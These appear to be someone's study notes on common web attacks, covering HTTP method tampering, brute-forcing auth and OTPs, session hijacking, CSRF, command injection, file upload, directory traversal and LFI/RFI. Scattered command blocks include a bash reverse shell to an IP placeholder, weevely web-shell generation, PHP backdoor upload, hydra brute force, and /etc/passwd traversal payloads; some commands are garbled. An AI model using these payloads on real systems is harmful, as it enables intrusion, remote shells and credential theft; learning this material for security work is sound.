# Common attacks

## HTTP tampering

- type of vuln that can be exploit by changing Request to interact with a web server
- GET,PUT, DELETE , Options , POST
- Change GET to DELETE
- POST to GET
- GET to POST

```
curl -v -X OPTION http://URL/ -d "credentials"

ls -al /usr/share/webshells/php/
cp                          /simplebackdoor.php
Curl - http://URL/ --upload=shell.php
```

## Attacking HTTP Auth

- it prevent replay attack and it need a plugin on burp suite
- nonce =" A unique string generated by the server for each request to prevent relay attack
- Opaque = "an opaque a value set by the server , which the client must return unchanged in response URL/digest/"

```
hydra -l admin -P wordlist IP http-get /digiest/
```

## sensitive data exposure Vuln

- unintended exposure of confidential or sensitive data
- Weak pass storage , Info disclosure , Directory Traversal , un encrypted backup , wolf CMS

```
dirb URL
nikto -h IP
```

## Attack Forms with OTP security

- OTP one-time-password
- OTP's are time sensitive and expire quickly making them difficult for attackers to use
- TOTP (time based) often 30 sec
- SMS OTPs
- Rate limiting & locked out
- OTP to prevent brute force

```
burp > repeater
Owasp > specify position > Fuzz > 1000 to 9999
Manage processsor > add > tag creator .*failed*. nor rate limitting take session ID

take it and copy it in burp suite in set cookie
```

## Session Management

- process of securely handling and maintaining user session
- period of interaction between user and web app
- during the session , the app track the user , store their data and manage their access to diff parts
- session identifier : A unique token is assigned to each user session
- session data : info related to the user session
- session cookie : small pieces of data stored on the user's browser that contain the session ID
- user Auth , user state , security
- Session Fixation: know session ID and then login with another user
- session Hijacking : by trying to capture and reuse user session ID
- Session ID brute force : attempts to brute force session ID's to asses their complexity

## Session ID and cookies

- Session ID : a unique tokens or strings generated by web app to identify and track user session
- Cookies : small pieces of data stored locally , session management and session ID , to maintain user access on the web app

## Fixation and Hijacking

- hijacking : session theft ( active session ), impersonating the user
- session prediction : predict or guessing the session token
- session sniffing : intercepting the session tokens
- XSS: exploit vuln in web app to inject malicious java script by presenting the token during the requests
- data theft , account takeover , malicious Transaction data manipulation
- Session Fixation : Fix user identifier , predicting or guessing , intercepting session tokens
- sending victim link that contains fixed session token
- manipulating the victim into crafted link
- social engineering tactic to convince the victim to login-under specific environment
- Fixation can lead to hijacking

## CSRF (cross-site request forgery)

- type of attack on web security vuln that occurs when attacker tricks a user into preforming actions on a web app
- Methodology -> attacker crafts a malicious request and tricks a user into unknowingly sending that request to a vuln website
- most web app uses cookies for user auth
- change username and password
- victim load content
- attacker retrieve data and cookies of the user

## Command injection

- manipulating the input field of web site in a way to execute arbitrary operation sys

- User input handling
- lack input sanitization
- injection points
- Malicious input to get reverse shell
- command execution

```
nc IP 4444

bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'"
```

## file and resources attacks

- (LFI , RFI)
- arbitrary file upload
- type of vuln that allow upload and execute files
- expected type of file (pdf , jpeg)
- Exploit :
  - Identify file upload vuln
  - by pass validation
  - Impact -> RCE , data exfiltration

```
gobuster dir
fuff -mc
weevely generate password ~/Desktop/shell.jpeg
weevely URL password
```

- by pass PHP x black list -> utilize PHP
- the server refuse to run PHP file as the version (what is allowed to run on the server)
- treat file as data file
- weevely can help us to manipulate the versions of PHP

## Directory traversal

- Identify specific files unauth to files and directories lead to data breach
- Exploit
  - improper input handling
  - lack input validation
- structure of attack

```
../../../../../../etc/passwd
```

- this attack used to access sensitive files
- un auth data access
- data leak
- system compromise

```
?file=../../../../../etc/passwd
?directory=../../../../../etc/passwd
```

- Methodology
  - see all files in root
  - '../' append it multiple times
  - may get "etc/passwd" and "/etc/shadow"
  - may access files or directory

## LFI (local file inclusion)

- close to directory traversal
- vuln occurs when web app allow an attacker to include files on the server
- refers to practice of including external files in web page dynamically
- Input not sanitized or validated

- primary objective is including a file and display the content of file on the server within the content of web app

## RFI (remote file inclusion)

- the web app needs to make request to get other server resources
- cause
  - insufficient input validation
  - lack of proper sanitization
- in URL or POST requests , include other script
- server execute Malicious code lead to RCE

```
python3 -m http.server 8080

in the URL include
http://MYIP/shell.php

then
nc -nvlp 1234
```